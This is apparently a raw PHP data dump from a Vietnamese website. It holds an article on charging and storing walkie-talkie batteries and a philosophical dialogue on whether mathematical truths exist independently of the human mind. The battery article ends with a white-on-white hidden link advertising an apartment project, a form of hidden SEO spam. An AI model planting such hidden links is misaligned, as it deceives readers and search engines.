0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin với bộ sạc nhanh ta cần phải chú ý đến tình trạng pin khi sạc, nếu pin nóng quá mức thì nên lấy pin ra và ngưng sạc đợi đến khi pin nguội bình thường rồi tiến hành sạc lại cho đến khi pin thực sự đầy. Đối với pin mới (mới mua hoặc để lâu giờ mới sử dụng lại) ta nên sạc 2 lần cho thật đầy rồi mới sử dụng.</span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bộ sạc tiêu chuẩn</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Là bộ sạc thường, thời gian sạc dài từ 8 – 16 giờ (hoặc hơn) tùy theo từng loại pin và loại sạc.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin với bộ sạc tiêu chuẩn nếu là pin mới mua hoặc pin để lâu giờ mới đem ra sử dụng ta hãy sạc từ 12 – 16 giờ trước khi sử dụng, những lần sau đó ta chỉ nên sạc trung bình 8 - 10 giờ.</span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Những lưu ý khi sạc pin</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin bằng bộ sạc rời (tức là không phải cắm sạc qua máy như laptop) ta nên tháo pin ra khỏi máy để sạc hoặc là tắt máy đi nếu như sạc pin kèm với máy. Điều này không những giúp nâng cao hiệu suất sạc pin mà còn tránh được trường hợp pin bị “chai kỹ thuật” hoặc những tác động không mong muốn đến máy.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Nên sạc pin khi pin đã được sử dụng hết (không thể vận hành thiết bị - mở máy) nên để pin nguội trước khi sạc, sau khi sạc nên để pin thật nguội trước khi lắp vào thiết bị sử dụng. Điều này rất quan trọng đối với pin Ni-Cd vì nhiệt độ càng cao thì khả năng lưu trữ và bảo quan pin càng thấp. </span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách xả pin máy bộ đàm</span></span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Xả pin là một quy trình cần thiết cho việc nâng cao hiệu quả sử dụng pin sạc. Có rất nhiều cách xả pin như: xả pin kỹ thuật, xả pin bằng bộ sạc xả chuyên dùng, xả pin bằng thiết bị sử dụng… </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Đối với máy bộ đàm thường thì người ta dùng máy để xả pin nếu như chưa trang bị bộ sạc xả chuyên dụng. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Pin máy bộ đàm được làm từ nhiều viên pin nối kết với nhau vì vậy khi xả pin cần phải chú ý để tránh trường hợp “đảo cực”. Các viên pin không bao giờ hoàn toàn giống nhau, vì thế không tránh được tình trạng một viên sẽ bị xả hết hoàn toàn trước những viên khác. Khi điều này xảy ra, viên pin "tốt" sẽ bắt đầu "biến" viên đã xả hết đảo chiều, điều này có thể khiến viên pin đó hỏng. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách bảo quản pin máy bộ đàm</span></span><br style="user-select: text !important;" /> <br style="user-select: text !important;" /> <span style="background-color:#ffffff;">Nếu trong quá trình ta không sử dụng máy, ta nên bảo quản bằng cách sạc pin đầy và tháo pin rời thân máy trước khi bảo quản cất giữ, sau đó cứ mỗi tháng ta nên sạc lại đầy pin 01 lần. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Pin không sử dụng trong một khoảng thời gian cần phải được sạc đầy trước khi sử dụng. Cũng vì lý do này mà các pin mới cần phải trải qua vài lần sạc - xả mới có thể đạt được mức dung lượng điện công bố. </span></span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;"><span style="background-color: rgb(255, 255, 255); font-family: Arial, Verdana, sans-serif;">Chung cư Goldlight Khuất Duy Tiến</span></span></a></p> ', 'images' => '2017050808014443070999c12ebb927c696a6f2bf4ffa7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '69053', 'slug' => 'huong-dan-sac-pin-may-bo-dam-dung-ky-thuat', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '845', 'rght' => '846', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $detailNews = array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> 